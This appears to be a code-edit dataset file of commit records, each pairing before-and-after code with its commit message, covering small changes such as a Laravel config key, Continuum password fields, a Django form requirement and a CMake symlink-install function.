<?php return [ /* |-------------------------------------------------------------------------- | Building settings. |-------------------------------------------------------------------------- | | This is a list of settings for laravel-building. | */ 'cache' => [ 'ttl' => 5, ], 'prefix' => [ 'api' => 'building/api', 'web' => 'building', ] ];
<?php return [ /* |-------------------------------------------------------------------------- | Building settings. |-------------------------------------------------------------------------- | | This is a list of settings for laravel-building. | */ 'cache' => [ 'ttl' => 5, ], 'component' => [ 'view_path' => 'components.', ], 'prefix' => [ 'api' => 'building/api', 'web' => 'building', ] ];
Add component path to config
Add component path to config
PHP
mit
Metrique/laravel-building,Metrique/laravel-building
php
## Code Before: <?php return [ /* |-------------------------------------------------------------------------- | Building settings. |-------------------------------------------------------------------------- | | This is a list of settings for laravel-building. | */ 'cache' => [ 'ttl' => 5, ], 'prefix' => [ 'api' => 'building/api', 'web' => 'building', ] ]; ## Instruction: Add component path to config ## Code After: <?php return [ /* |-------------------------------------------------------------------------- | Building settings. |-------------------------------------------------------------------------- | | This is a list of settings for laravel-building. | */ 'cache' => [ 'ttl' => 5, ], 'component' => [ 'view_path' => 'components.', ], 'prefix' => [ 'api' => 'building/api', 'web' => 'building', ] ];
9c256a150e9f30974a8668331d9469aec5b8c3e8
continuum-webapp/src/main/webapp/user.jsp
continuum-webapp/src/main/webapp/user.jsp
<%@ taglib uri="/webwork" prefix="ww" %> <%@ taglib uri="http://www.extremecomponents.org" prefix="ec" %> <%@ taglib uri='http://java.sun.com/jsp/jstl/core' prefix='c' %> <%@ taglib uri="continuum" prefix="c1" %> <html> <ww:i18n name="localization.Continuum"> <head> <title>User</title> </head> <body> <div id="axial" class="h3"> <h3><ww:text name="Users"/></h3> <ww:form action="saveUser" method="post"> <ww:hidden name="userId"/> <div class="axial"> <table border="1" cellspacing="2" cellpadding="3" width="100%"> <ww:textfield label="Username" name="username"/> <ww:textfield label="Full Name" name="fullName"/> <ww:textfield label="Email" name="email"/> <ww:textfield label="Password" name="password"/> <ww:textfield label="Password(again)" name="passwordTwo"/> <ww:select list="userGroups" label="User Group" name="userGroupId"/> </table> </div> <div class="functnbar3"> <c1:submitcancel value="%{getText('save')}" cancel="%{getText('cancel')}"/> </div> </ww:form> </div> </body> </ww:i18n> </html>
<%@ taglib uri="/webwork" prefix="ww" %> <%@ taglib uri="http://www.extremecomponents.org" prefix="ec" %> <%@ taglib uri='http://java.sun.com/jsp/jstl/core' prefix='c' %> <%@ taglib uri="continuum" prefix="c1" %> <html> <ww:i18n name="localization.Continuum"> <head> <title>User</title> </head> <body> <div id="axial" class="h3"> <h3><ww:text name="Users"/></h3> <ww:form action="saveUser" method="post"> <ww:hidden name="userId"/> <div class="axial"> <table border="1" cellspacing="2" cellpadding="3" width="100%"> <ww:textfield label="Username" name="username"/> <ww:textfield label="Full Name" name="fullName"/> <ww:textfield label="Email" name="email"/> <ww:password label="Password" name="password"/> <ww:password label="Password(again)" name="passwordTwo"/> <ww:select list="userGroups" label="User Group" name="userGroupId"/> </table> </div> <div class="functnbar3"> <c1:submitcancel value="%{getText('save')}" cancel="%{getText('cancel')}"/> </div> </ww:form> </div> </body> </ww:i18n> </html>
Fix password fields Submitted by: Marvin King
[CONTINUUM-890] Fix password fields Submitted by: Marvin King git-svn-id: 1d22bf2b43db35b985fe5d7437c243537c14eeaa@447783 13f79535-47bb-0310-9956-ffa450edef68
Java Server Pages
apache-2.0
apache/continuum,apache/continuum,apache/continuum
java-server-pages
## Code Before: <%@ taglib uri="/webwork" prefix="ww" %> <%@ taglib uri="http://www.extremecomponents.org" prefix="ec" %> <%@ taglib uri='http://java.sun.com/jsp/jstl/core' prefix='c' %> <%@ taglib uri="continuum" prefix="c1" %> <html> <ww:i18n name="localization.Continuum"> <head> <title>User</title> </head> <body> <div id="axial" class="h3"> <h3><ww:text name="Users"/></h3> <ww:form action="saveUser" method="post"> <ww:hidden name="userId"/> <div class="axial"> <table border="1" cellspacing="2" cellpadding="3" width="100%"> <ww:textfield label="Username" name="username"/> <ww:textfield label="Full Name" name="fullName"/> <ww:textfield label="Email" name="email"/> <ww:textfield label="Password" name="password"/> <ww:textfield label="Password(again)" name="passwordTwo"/> <ww:select list="userGroups" label="User Group" name="userGroupId"/> </table> </div> <div class="functnbar3"> <c1:submitcancel value="%{getText('save')}" cancel="%{getText('cancel')}"/> </div> </ww:form> </div> </body> </ww:i18n> </html> ## Instruction: [CONTINUUM-890] Fix password fields Submitted by: Marvin King git-svn-id: 1d22bf2b43db35b985fe5d7437c243537c14eeaa@447783 13f79535-47bb-0310-9956-ffa450edef68 ## Code After: <%@ taglib uri="/webwork" prefix="ww" %> <%@ taglib uri="http://www.extremecomponents.org" prefix="ec" %> <%@ taglib uri='http://java.sun.com/jsp/jstl/core' prefix='c' %> <%@ taglib uri="continuum" prefix="c1" %> <html> <ww:i18n name="localization.Continuum"> <head> <title>User</title> </head> <body> <div id="axial" class="h3"> <h3><ww:text name="Users"/></h3> <ww:form action="saveUser" method="post"> <ww:hidden name="userId"/> <div class="axial"> <table border="1" cellspacing="2" cellpadding="3" width="100%"> <ww:textfield label="Username" name="username"/> <ww:textfield label="Full Name" name="fullName"/> <ww:textfield label="Email" name="email"/> <ww:password label="Password" name="password"/> <ww:password label="Password(again)" name="passwordTwo"/> <ww:select list="userGroups" label="User Group" name="userGroupId"/> </table> </div> <div class="functnbar3"> <c1:submitcancel value="%{getText('save')}" cancel="%{getText('cancel')}"/> </div> </ww:form> </div> </body> </ww:i18n> </html>
d0a65bfeac62294ce218c3d4c2d57c7bfca6ad20
RandomNumbers.h
RandomNumbers.h
/*===- RandomNumbers.h - libSimulation -======================================== * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef RANDOMNUMBERS #define RANDOMNUMBERS #include <random> #include "VectorCompatibility.h" class RandomNumbers { public: RandomNumbers(); ~RandomNumbers() {} const double uniformZeroToOne(); const double uniformZeroToTwoPi(); const double guassian(std::normal_distribution<double> &dist); private: std::mt19937_64 engine; std::uniform_real_distribution<double> zeroToOne; std::uniform_real_distribution<double> zeroToTwoPi; }; class RandCache { public: __m128d r; double l, h; RandCache(const __m128d r_ = _mm_set1_pd(0.0), const double l_ = 0.0, const double h_ = 0.0) : r(r_), l(l_), h(h_) {} }; #endif // RANDOMNUMBERS
/*===- RandomNumbers.h - libSimulation -======================================== * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef RANDOMNUMBERS #define RANDOMNUMBERS #include <random> #include "VectorCompatibility.h" class RandomNumbers { public: RandomNumbers(); ~RandomNumbers() {} const double uniformZeroToOne(); const double uniformZeroToTwoPi(); const double guassian(std::normal_distribution<double> &dist); private: std::mt19937_64 engine; std::uniform_real_distribution<double> zeroToOne; std::uniform_real_distribution<double> zeroToTwoPi; }; // Structure to hold precomuted random numbers for use with thermal forces. struct RandCache { __m128d r; double l, h; RandCache(const __m128d r_ = _mm_set1_pd(0.0), const double l_ = 0.0, const double h_ = 0.0) : r(r_), l(l_), h(h_) {} }; #endif // RANDOMNUMBERS
Change rand cache to a struct since everything is public. Add comment.
Change rand cache to a struct since everything is public. Add comment.
C
bsd-3-clause
leios/demonsimulationcode,leios/demonsimulationcode
c
## Code Before: /*===- RandomNumbers.h - libSimulation -======================================== * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef RANDOMNUMBERS #define RANDOMNUMBERS #include <random> #include "VectorCompatibility.h" class RandomNumbers { public: RandomNumbers(); ~RandomNumbers() {} const double uniformZeroToOne(); const double uniformZeroToTwoPi(); const double guassian(std::normal_distribution<double> &dist); private: std::mt19937_64 engine; std::uniform_real_distribution<double> zeroToOne; std::uniform_real_distribution<double> zeroToTwoPi; }; class RandCache { public: __m128d r; double l, h; RandCache(const __m128d r_ = _mm_set1_pd(0.0), const double l_ = 0.0, const double h_ = 0.0) : r(r_), l(l_), h(h_) {} }; #endif // RANDOMNUMBERS ## Instruction: Change rand cache to a struct since everything is public. Add comment. ## Code After: /*===- RandomNumbers.h - libSimulation -======================================== * * DEMON * * This file is distributed under the BSD Open Source License. See LICENSE.TXT * for details. * *===-----------------------------------------------------------------------===*/ #ifndef RANDOMNUMBERS #define RANDOMNUMBERS #include <random> #include "VectorCompatibility.h" class RandomNumbers { public: RandomNumbers(); ~RandomNumbers() {} const double uniformZeroToOne(); const double uniformZeroToTwoPi(); const double guassian(std::normal_distribution<double> &dist); private: std::mt19937_64 engine; std::uniform_real_distribution<double> zeroToOne; std::uniform_real_distribution<double> zeroToTwoPi; }; // Structure to hold precomuted random numbers for use with thermal forces. struct RandCache { __m128d r; double l, h; RandCache(const __m128d r_ = _mm_set1_pd(0.0), const double l_ = 0.0, const double h_ = 0.0) : r(r_), l(l_), h(h_) {} }; #endif // RANDOMNUMBERS
be03e3d6c1323e8c750afc1d4e80997f3d9d52f3
cyder/cydhcp/interface/dynamic_intr/forms.py
cyder/cydhcp/interface/dynamic_intr/forms.py
from django import forms from cyder.cydhcp.interface.dynamic_intr.models import (DynamicInterface, DynamicIntrKeyValue) from cyder.base.mixins import UsabilityFormMixin from cyder.cydhcp.forms import RangeWizard class DynamicInterfaceForm(RangeWizard, UsabilityFormMixin): def __init__(self, *args, **kwargs): super(DynamicInterfaceForm, self).__init__(*args, **kwargs) self.fields.keyOrder = ['system', 'domain', 'mac', 'vrf', 'site', 'range', 'workgroup', 'dhcp_enabled', 'dns_enabled', 'ctnr'] class Meta: model = DynamicInterface exclude = ('last_seen') class DynamicIntrKeyValueForm(forms.ModelForm): dynamic_interface = forms.ModelChoiceField( queryset=DynamicInterface.objects.all(), widget=forms.HiddenInput()) class Meta: model = DynamicIntrKeyValue exclude = ('is_option', 'is_statement', 'is_quoted',)
from django import forms from cyder.cydhcp.interface.dynamic_intr.models import (DynamicInterface, DynamicIntrKeyValue) from cyder.base.mixins import UsabilityFormMixin from cyder.cydhcp.forms import RangeWizard class DynamicInterfaceForm(RangeWizard, UsabilityFormMixin): def __init__(self, *args, **kwargs): super(DynamicInterfaceForm, self).__init__(*args, **kwargs) self.fields.keyOrder = ['system', 'domain', 'mac', 'vrf', 'site', 'range', 'workgroup', 'dhcp_enabled', 'dns_enabled', 'ctnr'] self.fields['range'].required = True class Meta: model = DynamicInterface exclude = ('last_seen') class DynamicIntrKeyValueForm(forms.ModelForm): dynamic_interface = forms.ModelChoiceField( queryset=DynamicInterface.objects.all(), widget=forms.HiddenInput()) class Meta: model = DynamicIntrKeyValue exclude = ('is_option', 'is_statement', 'is_quoted',)
Reset range to be required in dynamic intr form
Reset range to be required in dynamic intr form
Python
bsd-3-clause
akeym/cyder,akeym/cyder,OSU-Net/cyder,akeym/cyder,zeeman/cyder,zeeman/cyder,murrown/cyder,OSU-Net/cyder,drkitty/cyder,drkitty/cyder,zeeman/cyder,murrown/cyder,drkitty/cyder,OSU-Net/cyder,murrown/cyder,akeym/cyder,drkitty/cyder,OSU-Net/cyder,murrown/cyder,zeeman/cyder
python
## Code Before: from django import forms from cyder.cydhcp.interface.dynamic_intr.models import (DynamicInterface, DynamicIntrKeyValue) from cyder.base.mixins import UsabilityFormMixin from cyder.cydhcp.forms import RangeWizard class DynamicInterfaceForm(RangeWizard, UsabilityFormMixin): def __init__(self, *args, **kwargs): super(DynamicInterfaceForm, self).__init__(*args, **kwargs) self.fields.keyOrder = ['system', 'domain', 'mac', 'vrf', 'site', 'range', 'workgroup', 'dhcp_enabled', 'dns_enabled', 'ctnr'] class Meta: model = DynamicInterface exclude = ('last_seen') class DynamicIntrKeyValueForm(forms.ModelForm): dynamic_interface = forms.ModelChoiceField( queryset=DynamicInterface.objects.all(), widget=forms.HiddenInput()) class Meta: model = DynamicIntrKeyValue exclude = ('is_option', 'is_statement', 'is_quoted',) ## Instruction: Reset range to be required in dynamic intr form ## Code After: from django import forms from cyder.cydhcp.interface.dynamic_intr.models import (DynamicInterface, DynamicIntrKeyValue) from cyder.base.mixins import UsabilityFormMixin from cyder.cydhcp.forms import RangeWizard class DynamicInterfaceForm(RangeWizard, UsabilityFormMixin): def __init__(self, *args, **kwargs): super(DynamicInterfaceForm, self).__init__(*args, **kwargs) self.fields.keyOrder = ['system', 'domain', 'mac', 'vrf', 'site', 'range', 'workgroup', 'dhcp_enabled', 'dns_enabled', 'ctnr'] self.fields['range'].required = True class Meta: model = DynamicInterface exclude = ('last_seen') class DynamicIntrKeyValueForm(forms.ModelForm): dynamic_interface = forms.ModelChoiceField( queryset=DynamicInterface.objects.all(), widget=forms.HiddenInput()) class Meta: model = DynamicIntrKeyValue exclude = ('is_option', 'is_statement', 'is_quoted',)
c113ae991ac240db0ff2db20fe339d7c12aff55e
README.md
README.md
ESP8266 to Minecraft IoT code and documentation.
ESP8266 to Minecraft and the cloud IoT code and documentation. ## Contents * [SETUP.md](SETUP.md) - Instructions on getting up and running with the Sparkfun ESP8266 Thing board * [BasicTempSender](BasicTempSender) - An Arduino-on-ESP8266 sketch to take temperature readings and upload them to a CockleRake server * [CockleRake](CockleRake) - A simple Python Flask server which lets you register Cockles and then receive and show readings from them * [ThingSpeakTempSender](ThingSpeakTempSender) - An Arduino-on-ESP8266 sketch to take temperature readings and upload them to ThingSpeak.com * [FAQ.md](FAQ.md) - Links and other frequently-asked-questions and tips
Add table of contents to explain what the different files are for.
Add table of contents to explain what the different files are for.
Markdown
apache-2.0
mcqn/cocklecraft-of-things,mcqn/cocklecraft-of-things
markdown
## Code Before: ESP8266 to Minecraft IoT code and documentation. ## Instruction: Add table of contents to explain what the different files are for. ## Code After: ESP8266 to Minecraft and the cloud IoT code and documentation. ## Contents * [SETUP.md](SETUP.md) - Instructions on getting up and running with the Sparkfun ESP8266 Thing board * [BasicTempSender](BasicTempSender) - An Arduino-on-ESP8266 sketch to take temperature readings and upload them to a CockleRake server * [CockleRake](CockleRake) - A simple Python Flask server which lets you register Cockles and then receive and show readings from them * [ThingSpeakTempSender](ThingSpeakTempSender) - An Arduino-on-ESP8266 sketch to take temperature readings and upload them to ThingSpeak.com * [FAQ.md](FAQ.md) - Links and other frequently-asked-questions and tips
53bbcc3e08c023d37b879d49d86bf4be8e479bb8
test/version_sorter_test.rb
test/version_sorter_test.rb
require 'test/unit' require 'version_sorter' class VersionSorterTest < Test::Unit::TestCase def test_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 1.0.9a 1.0.9 1.0.10 2.0 3.1.4.2 ) assert_equal sorted_versions, VersionSorter.sort(versions) end def test_returns_same_object versions = %w( 2.0 1.0 0.5 ) sorted = VersionSorter.sort(versions) assert_equal versions[2].object_id, sorted[0].object_id end def test_reverse_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 3.1.4.2 2.0 1.0.10 1.0.9 1.0.9a ) assert_equal sorted_versions, VersionSorter.rsort(versions) end end
require 'test/unit' require 'version_sorter' require 'rubygems/version' class VersionSorterTest < Test::Unit::TestCase def test_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 1.0.9a 1.0.9 1.0.10 2.0 3.1.4.2 ) assert_equal sorted_versions, VersionSorter.sort(versions) end def test_sorts_versions_like_rubygems versions = %w(1.0.9.b 1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a 2.0rc2 2.0-rc1) sorted_versions = versions.sort_by { |v| Gem::Version.new(v) } assert_equal sorted_versions, VersionSorter.sort(versions) end def test_returns_same_object versions = %w( 2.0 1.0 0.5 ) sorted = VersionSorter.sort(versions) assert_equal versions[2].object_id, sorted[0].object_id end def test_reverse_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 3.1.4.2 2.0 1.0.10 1.0.9 1.0.9a ) assert_equal sorted_versions, VersionSorter.rsort(versions) end end
Verify that we sort version numbers the same way RubyGems does
Verify that we sort version numbers the same way RubyGems does
Ruby
mit
pope/version_sorter,github/version_sorter,pope/version_sorter,github/version_sorter,pope/version_sorter,github/version_sorter
ruby
## Code Before: require 'test/unit' require 'version_sorter' class VersionSorterTest < Test::Unit::TestCase def test_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 1.0.9a 1.0.9 1.0.10 2.0 3.1.4.2 ) assert_equal sorted_versions, VersionSorter.sort(versions) end def test_returns_same_object versions = %w( 2.0 1.0 0.5 ) sorted = VersionSorter.sort(versions) assert_equal versions[2].object_id, sorted[0].object_id end def test_reverse_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 3.1.4.2 2.0 1.0.10 1.0.9 1.0.9a ) assert_equal sorted_versions, VersionSorter.rsort(versions) end end ## Instruction: Verify that we sort version numbers the same way RubyGems does ## Code After: require 'test/unit' require 'version_sorter' require 'rubygems/version' class VersionSorterTest < Test::Unit::TestCase def test_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 1.0.9a 1.0.9 1.0.10 2.0 3.1.4.2 ) assert_equal sorted_versions, VersionSorter.sort(versions) end def test_sorts_versions_like_rubygems versions = %w(1.0.9.b 1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a 2.0rc2 2.0-rc1) sorted_versions = versions.sort_by { |v| Gem::Version.new(v) } assert_equal sorted_versions, VersionSorter.sort(versions) end def test_returns_same_object versions = %w( 2.0 1.0 0.5 ) sorted = VersionSorter.sort(versions) assert_equal versions[2].object_id, sorted[0].object_id end def test_reverse_sorts_versions_correctly versions = %w(1.0.9 1.0.10 2.0 3.1.4.2 1.0.9a) sorted_versions = %w( 3.1.4.2 2.0 1.0.10 1.0.9 1.0.9a ) assert_equal sorted_versions, VersionSorter.rsort(versions) end end
d77bfe5fd9a9b56a2101a7f4e0a15f9a8f162cee
app/views/dashboard/projects/starred.html.haml
app/views/dashboard/projects/starred.html.haml
- @hide_top_links = true - @no_container = true - breadcrumb_title "Projects" - page_title "Starred Projects" - header_title "Projects", dashboard_projects_path %div{ class: container_class } = render "projects/last_push" = render 'dashboard/projects_head' - if params[:filter_projects] || any_projects?(@projects) = render 'projects' - else %h3 You don't have starred projects yet %p.slead Visit project page and press on star icon and it will appear on this page.
- @hide_top_links = true - @no_container = true - breadcrumb_title "Projects" - page_title "Starred Projects" - header_title "Projects", dashboard_projects_path %div{ class: container_class } = render "projects/last_push" = render 'dashboard/projects_head' - if params[:filter_projects] || any_projects?(@projects) = render 'projects' - else %h3.page-title You don't have starred projects yet %p.slead Visit project page and press on star icon and it will appear on this page.
Fix empty starred projects header
Fix empty starred projects header
Haml
mit
stoplightio/gitlabhq,stoplightio/gitlabhq,stoplightio/gitlabhq,stoplightio/gitlabhq,axilleas/gitlabhq,mmkassem/gitlabhq,iiet/iiet-git,axilleas/gitlabhq,iiet/iiet-git,dreampet/gitlab,axilleas/gitlabhq,iiet/iiet-git,dreampet/gitlab,dreampet/gitlab,jirutka/gitlabhq,mmkassem/gitlabhq,iiet/iiet-git,jirutka/gitlabhq,jirutka/gitlabhq,mmkassem/gitlabhq,axilleas/gitlabhq,mmkassem/gitlabhq,jirutka/gitlabhq,dreampet/gitlab
haml
## Code Before: - @hide_top_links = true - @no_container = true - breadcrumb_title "Projects" - page_title "Starred Projects" - header_title "Projects", dashboard_projects_path %div{ class: container_class } = render "projects/last_push" = render 'dashboard/projects_head' - if params[:filter_projects] || any_projects?(@projects) = render 'projects' - else %h3 You don't have starred projects yet %p.slead Visit project page and press on star icon and it will appear on this page. ## Instruction: Fix empty starred projects header ## Code After: - @hide_top_links = true - @no_container = true - breadcrumb_title "Projects" - page_title "Starred Projects" - header_title "Projects", dashboard_projects_path %div{ class: container_class } = render "projects/last_push" = render 'dashboard/projects_head' - if params[:filter_projects] || any_projects?(@projects) = render 'projects' - else %h3.page-title You don't have starred projects yet %p.slead Visit project page and press on star icon and it will appear on this page.
8c84c60a2ea847c5f9e84c15b39e18d09130305f
piperd.yml
piperd.yml
agent: name: sto4-buildagent-a1 fqdn: sto4-buildagent-a1.piper.ninjaloot.se active: true properties: classes: - piper.prop.FacterProp db: class: piper.db.RethinkDB db: piper host: localhost port: 28015 api: address: 127.0.0.1 port: 27001
agent: id: esm1-buildagent-a1 fqdn: esm1-buildagent-a1.piper.ninjaloot.se active: true properties: classes: - piper.prop.FacterProp db: class: piper.db.RethinkDB db: piper host: localhost port: 28015 api: address: 127.0.0.1 port: 27001
Make agent name unique :D
Make agent name unique :D
YAML
mit
thiderman/piper
yaml
## Code Before: agent: name: sto4-buildagent-a1 fqdn: sto4-buildagent-a1.piper.ninjaloot.se active: true properties: classes: - piper.prop.FacterProp db: class: piper.db.RethinkDB db: piper host: localhost port: 28015 api: address: 127.0.0.1 port: 27001 ## Instruction: Make agent name unique :D ## Code After: agent: id: esm1-buildagent-a1 fqdn: esm1-buildagent-a1.piper.ninjaloot.se active: true properties: classes: - piper.prop.FacterProp db: class: piper.db.RethinkDB db: piper host: localhost port: 28015 api: address: 127.0.0.1 port: 27001
fa880efddf862602b6806c2fa0965b89a7b3ebd7
circle.yml
circle.yml
machine: timezone: Europe/Berlin # Version of php to use php: version: 5.6.30 override: - composer install --no-interaction cache_directories: - "vendor" # relative to the build directory ## Customize test commands test: override: - vendor/bin/phpunit
machine: timezone: Europe/Berlin # Version of php to use php: version: 5.6.30 override: - composer install --no-interaction cache_directories: - "vendor" # relative to the build directory ## Customize test commands test: override: - vendor/bin/phpunit pwd: circuit-breaker
Add circuit-breaker directory to the test command
Add circuit-breaker directory to the test command
YAML
apache-2.0
aguimaraes/circuit-breaker
yaml
## Code Before: machine: timezone: Europe/Berlin # Version of php to use php: version: 5.6.30 override: - composer install --no-interaction cache_directories: - "vendor" # relative to the build directory ## Customize test commands test: override: - vendor/bin/phpunit ## Instruction: Add circuit-breaker directory to the test command ## Code After: machine: timezone: Europe/Berlin # Version of php to use php: version: 5.6.30 override: - composer install --no-interaction cache_directories: - "vendor" # relative to the build directory ## Customize test commands test: override: - vendor/bin/phpunit pwd: circuit-breaker
c047fb860bba74acf49e67c228d1f83a18b691ad
app/validators/variable_duplicates_validator.rb
app/validators/variable_duplicates_validator.rb
class VariableDuplicatesValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) if options[:scope] scoped = value.group_by { |variable| Array(options[:scope]).map { |attr| variable.send(attr) } } scoped.each_value { |scope| validate_duplicates(record, attribute, scope) } else validate_duplicates(record, attribute, value) end end private def validate_duplicates(record, attribute, values) duplicates = values.reject(&:marked_for_destruction?).group_by(&:key).select { |_, v| v.many? }.map(&:first) if duplicates.any? record.errors.add(attribute, "Duplicate variables: #{duplicates.join(", ")}") end end end
class VariableDuplicatesValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) if options[:scope] scoped = value.group_by { |variable| Array(options[:scope]).map { |attr| variable.send(attr) } } # rubocop:disable GitlabSecurity/PublicSend scoped.each_value { |scope| validate_duplicates(record, attribute, scope) } else validate_duplicates(record, attribute, value) end end private def validate_duplicates(record, attribute, values) duplicates = values.reject(&:marked_for_destruction?).group_by(&:key).select { |_, v| v.many? }.map(&:first) if duplicates.any? record.errors.add(attribute, "Duplicate variables: #{duplicates.join(", ")}") end end end
Disable public send cop in variables duplicates validator
Disable public send cop in variables duplicates validator
Ruby
mit
iiet/iiet-git,iiet/iiet-git,mmkassem/gitlabhq,stoplightio/gitlabhq,axilleas/gitlabhq,iiet/iiet-git,iiet/iiet-git,dreampet/gitlab,stoplightio/gitlabhq,stoplightio/gitlabhq,jirutka/gitlabhq,jirutka/gitlabhq,mmkassem/gitlabhq,dreampet/gitlab,axilleas/gitlabhq,stoplightio/gitlabhq,dreampet/gitlab,jirutka/gitlabhq,mmkassem/gitlabhq,axilleas/gitlabhq,mmkassem/gitlabhq,jirutka/gitlabhq,dreampet/gitlab,axilleas/gitlabhq
ruby
## Code Before: class VariableDuplicatesValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) if options[:scope] scoped = value.group_by { |variable| Array(options[:scope]).map { |attr| variable.send(attr) } } scoped.each_value { |scope| validate_duplicates(record, attribute, scope) } else validate_duplicates(record, attribute, value) end end private def validate_duplicates(record, attribute, values) duplicates = values.reject(&:marked_for_destruction?).group_by(&:key).select { |_, v| v.many? }.map(&:first) if duplicates.any? record.errors.add(attribute, "Duplicate variables: #{duplicates.join(", ")}") end end end ## Instruction: Disable public send cop in variables duplicates validator ## Code After: class VariableDuplicatesValidator < ActiveModel::EachValidator def validate_each(record, attribute, value) if options[:scope] scoped = value.group_by { |variable| Array(options[:scope]).map { |attr| variable.send(attr) } } # rubocop:disable GitlabSecurity/PublicSend scoped.each_value { |scope| validate_duplicates(record, attribute, scope) } else validate_duplicates(record, attribute, value) end end private def validate_duplicates(record, attribute, values) duplicates = values.reject(&:marked_for_destruction?).group_by(&:key).select { |_, v| v.many? }.map(&:first) if duplicates.any? record.errors.add(attribute, "Duplicate variables: #{duplicates.join(", ")}") end end end
a4c3be5e5bc0ea8742c208d5ea6fd6a0244a2bb7
dev/main.ts
dev/main.ts
/// <reference path='../src/sfc.d.ts' /> import Vue from 'vue'; import VueHighlightJS, { Options } from '../src'; import javascript from 'highlight.js/lib/languages/javascript'; import vue from '../lib/languages/vue'; import App from './App.vue'; import 'highlight.js/styles/agate.css'; Vue.use<Options>(VueHighlightJS, { languages: { javascript, vue } }); new Vue({ el: '#app', render: h => h(App) });
/// <reference path='../src/sfc.d.ts' /> import Vue from 'vue'; import VueHighlightJS, { Options } from '../src'; import css from 'highlight.js/lib/languages/css'; import javascript from 'highlight.js/lib/languages/javascript'; import vue from '../lib/languages/vue'; import App from './App.vue'; import 'highlight.js/styles/agate.css'; Vue.use<Options>(VueHighlightJS, { languages: { css, javascript, vue } }); new Vue({ el: '#app', render: h => h(App) });
Fix `<style>` content isn't highlighted
:bug: Fix `<style>` content isn't highlighted
TypeScript
mit
gluons/vue-highlight.js
typescript
## Code Before: /// <reference path='../src/sfc.d.ts' /> import Vue from 'vue'; import VueHighlightJS, { Options } from '../src'; import javascript from 'highlight.js/lib/languages/javascript'; import vue from '../lib/languages/vue'; import App from './App.vue'; import 'highlight.js/styles/agate.css'; Vue.use<Options>(VueHighlightJS, { languages: { javascript, vue } }); new Vue({ el: '#app', render: h => h(App) }); ## Instruction: :bug: Fix `<style>` content isn't highlighted ## Code After: /// <reference path='../src/sfc.d.ts' /> import Vue from 'vue'; import VueHighlightJS, { Options } from '../src'; import css from 'highlight.js/lib/languages/css'; import javascript from 'highlight.js/lib/languages/javascript'; import vue from '../lib/languages/vue'; import App from './App.vue'; import 'highlight.js/styles/agate.css'; Vue.use<Options>(VueHighlightJS, { languages: { css, javascript, vue } }); new Vue({ el: '#app', render: h => h(App) });
9287032ee553e4ee86e06d942dfc89d63619bd14
InstallSymlink.cmake
InstallSymlink.cmake
function(INSTALL_SYMLINK FROM TO COMPONENT) if (MSVC) install(CODE "get_filename_component(FROM_ABSOLUTE ${CMAKE_INSTALL_PREFIX}/${FROM} ABSOLUTE) file(TO_NATIVE_PATH \${FROM_ABSOLUTE} FROM_ABSOLUTE) file(TO_NATIVE_PATH \${CMAKE_INSTALL_PREFIX}/${TO} TO) message(\"mklink /j \${TO} \${FROM_ABSOLUTE}\") execute_process(COMMAND mklink /j \${TO} \${FROM_ABSOLUTE})" COMPONENT "${COMPONENT}") else() install(CODE "execute_process(COMMAND rm -f ${CMAKE_INSTALL_PREFIX}/${TO}) get_filename_component(FROM_ABSOLUTE ${CMAKE_INSTALL_PREFIX}/${FROM} ABSOLUTE) execute_process(COMMAND ${CMAKE_COMMAND} -E create_symlink \${FROM_ABSOLUTE} ${CMAKE_INSTALL_PREFIX}/${TO})" COMPONENT "${COMPONENT}") endif() endfunction()
function(INSTALL_SYMLINK) cmake_parse_arguments(THIS "" "" "FROM;TO;WORKING_DIRECTORY;COMPONENT" ${ARGN}) if(MSVC) install(CODE "message(\"mklink /j \${THIS_TO} \${THIS_FROM}\") execute_process(COMMAND mklink /j \${THIS_TO} \${THIS_FROM} WORKING_DIRECTORY ${CMAKE_INSTALL_PREFIX}/${THIS_WORKING_DIRECTORY})" COMPONENT "${THIS_COMPONENT}") else() install(CODE "execute_process(COMMAND rm -f ${THIS_TO} WORKING_DIRECTORY ${CMAKE_INSTALL_PREFIX}/${THIS_WORKING_DIRECTORY}) execute_process(COMMAND ${CMAKE_COMMAND} -E create_symlink ${THIS_FROM} ${THIS_TO} WORKING_DIRECTORY ${CMAKE_INSTALL_PREFIX}/${THIS_WORKING_DIRECTORY})" COMPONENT "${THIS_COMPONENT}") endif() endfunction()
Install symlinks relative, not absolute
Install symlinks relative, not absolute This is necessary to fix artifact copy in Jenkins. Besides, the symlinking on Unix for the different SO versions of libraries is also based on relative symlinks.
CMake
bsd-3-clause
jafyvilla/CMake,shuaibarshad/KAUST-CMake,shurikasa/CMake,biddisco/CMake,shuaibarshad/KAUST-CMake,jafyvilla/CMake,ptoharia/CMake,ptoharia/CMake,ptoharia/CMake,biddisco/CMake,shurikasa/CMake,biddisco/CMake,shuaibarshad/KAUST-CMake,jafyvilla/CMake,biddisco/CMake,shuaibarshad/KAUST-CMake,shurikasa/CMake,jafyvilla/CMake,ptoharia/CMake,shurikasa/CMake
cmake
